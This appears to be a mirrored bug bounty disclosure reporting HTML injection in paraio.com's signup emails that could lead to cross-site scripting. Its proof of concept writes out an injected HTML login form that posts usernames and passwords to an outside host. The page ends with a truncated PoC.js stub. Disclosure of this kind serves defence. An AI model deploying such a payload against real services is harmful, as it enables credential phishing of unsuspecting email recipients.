Lucene search

K
huntrGaurav-g27555693F-94E4-4183-98CB-3497DA6DF028
HistoryMay 14, 2022 - 12:55 p.m.

Html Injection lead to cross site scripting

2022-05-1412:55:25
gaurav-g2
www.huntr.dev
15

0.001 Low

EPSS

Percentile

30.2%

Description

Hi i Found a way to inject html in user’s email. So in this case if a attacker set name of victim as html form it will be rendered by your system and then the render html will be sent to the victim

Proof of Concept

  1. Goto https://paraio.com/signup/ and in name field add this payload

<form action=“https://brutelogic.com.br/poc.svg/” method=“post”> <label for=“username”>Username:</label> <input class=“userbox” type=“text” name=“username”/><br /> <label for=“password”>Password:</label> <input type=“text” name=“password” > <input class=“button” type=“submit” value=“submit” /> </form>

  1. Enter email of victim and create new account

  2. Now goto mail and check you will see our code has been rendered as html

  3. Submit form and xss

// PoC.js var payload = … ```

0.001 Low

EPSS

Percentile

30.2%

Related for 7555693F-94E4-4183-98CB-3497DA6DF028